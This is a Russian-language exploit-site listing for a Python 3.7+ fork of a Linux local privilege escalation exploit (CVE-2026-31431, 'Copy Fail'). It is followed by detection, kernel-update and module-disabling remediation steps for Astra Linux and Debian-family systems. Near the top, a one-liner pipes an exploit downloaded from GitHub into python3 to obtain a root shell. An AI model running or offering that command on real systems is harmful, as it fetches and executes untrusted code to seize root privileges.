## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-P401A-OPS-COPY-FAIL
# CVE-2026-31431 "Copy Fail" - Local Privilege Escalation
## Python 3.7+ совместимая версия (включая Astra Linux)
Безопасная провера без эксплуатирования:
root@kitploit:~
curl -s https://raw.githubusercontent.com/p401a-ops/Copy-Fail/refs/heads/main/detect.py | python3
Эксплуатирование (когда попросит надо ввести пароль пользователя)
root@kitploit:~
python3 -c "$(curl -s https://raw.githubusercontent.com/p401a-ops/Copy-Fail/refs/heads/main/exp.py)" --shell
* * *
## Данная версия эксплойта
**Это форк, адаптированный для Python 3.7, 3.8, 3.9, 3.10, 3.11.** Оригинальные эксплойты требуют Python 3.12+ из-за использования `os.splice()`.
### Почему не работает оригинал?
root@kitploit:~
# ❌ Оригинальный эксплойт (только Python 3.12+)
os.splice(fd_in, fd_out, length, offset_src=offset)
# AttributeError: module 'os' has no attribute 'splice'
### Что изменено в этом форке?
* Убрана зависимость от `os.splice()`
* Добавлена совместимость с Python 3.7+
* Эксплойт протестирован на Astra Linux
* Сохранена совместимость с современными дистрибутивами
* Добавлен простой one-liner запуск
### Примечания
* Требуется локальный доступ к системе
* Python должен быть установлен в системе
* Проверено на Astra Linux CE/SE
* Работает без Python 3.12+
###**Эксплуатация на Astra Linux**
Уязвимость проверена на Astra Linux. Модуль algif_aead присутствует, эксплуатация позволяет получить доступ к sudo и повысить привилегии до root.
Однако при включённом мандатном контроле доступа (МКД/Parsec) стать суперадминистратором (уровень 63 / роль astra-admin) не представляется возможным: мандатные метки ограничивают привилегии даже процесса root, и политика безопасности не позволяет пересечь установленные уровни конфиденциальности.
Таким образом: 🔴 Системы Astra Linux без МКД или с отключённым МКД — уязвимы полностью. 🟡 Системы с включённым МКД — частично защищены: получение root возможно, но реальные возможности атакующего ограничены мандатной политикой.
В обоих случаях при обнаружении уязвимости применение мер из пунктов 2 или 3 обязательно.
━━━━━━━━━━━━━━━
1. Проверка наличия уязвимости
На каждом сервере необходимо выполнить следующую команду. Она не вносит никаких изменений в систему и только проверяет, доступен ли уязвимый модуль.
Подключиться к серверу и выполнить одной строкой:
python3 -c 'import socket; s = socket.socket(socket.AF_ALG, socket.SOCK_SEQPACKET, 0); s.bind(("aead","authencesn(hmac(sha256),cbc(aes))")); print("\n" + "*"_30 + "\n_ ** УЯЗВИМА **_\n" + "_ "*30)'
🔴 Если на экране появилось слово УЯЗВИМА — сервер подвержен уязвимости, необходимо перейти к пункту 2. 🟢 Если появилось сообщение об ошибке Python — сервер не подвержен уязвимости, дальнейших действий не требуется.
━━━━━━━━━━━━━━━ 2\. Основное решение — обновление ядра
Необходимо обновить ядро до версии, содержащей исправление: 6.18.22, 6.19.12 или новее. До момента обновления отключение модуля из пункта 3 обеспечивает защиту.
Для Debian / Ubuntu / Astra Linux:
apt-get update apt-get dist-upgrade reboot
После перезагрузки обязательно проверить что загрузилось именно новое ядро:
uname -r
Если команда показывает версию ниже 6.18.22 — ядро не обновилось либо система загрузилась со старым образом. В этом случае необходимо убедиться что обновление было установлено (apt-get dist-upgrade не выдало ошибок) и повторить перезагрузку.
⚠️ Astra Linux 1.7.x: До выхода обновления единственной мерой защиты является отключение модуля из пункта 3. Для получения патча рекомендуется обратиться в техподдержку Astra Linux через личный кабинет.
━━━━━━━━━━━━━━━ 3\. Временная мера защиты — отключение уязвимого модуля
Если обновление ядра в данный момент невозможно, в качестве временной меры рекомендуется отключить уязвимый модуль. Операция не требует перезагрузки и вступает в силу немедленно. Перед применением рекомендуется проверить изменения на тестовой среде: в редких случаях отдельные сервисы могут использовать данный модуль напрямую.
Команда для отключения модуля. Выполнить от имени root (или через sudo):
echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif.conf rmmod algif_aead 2>/dev/null || true
Первая команда запрещает загрузку модуля при следующих запусках. Вторая выгружает его прямо сейчас, если он загружен. Ошибка во второй команде — это нормально, значит модуль уже не был активен.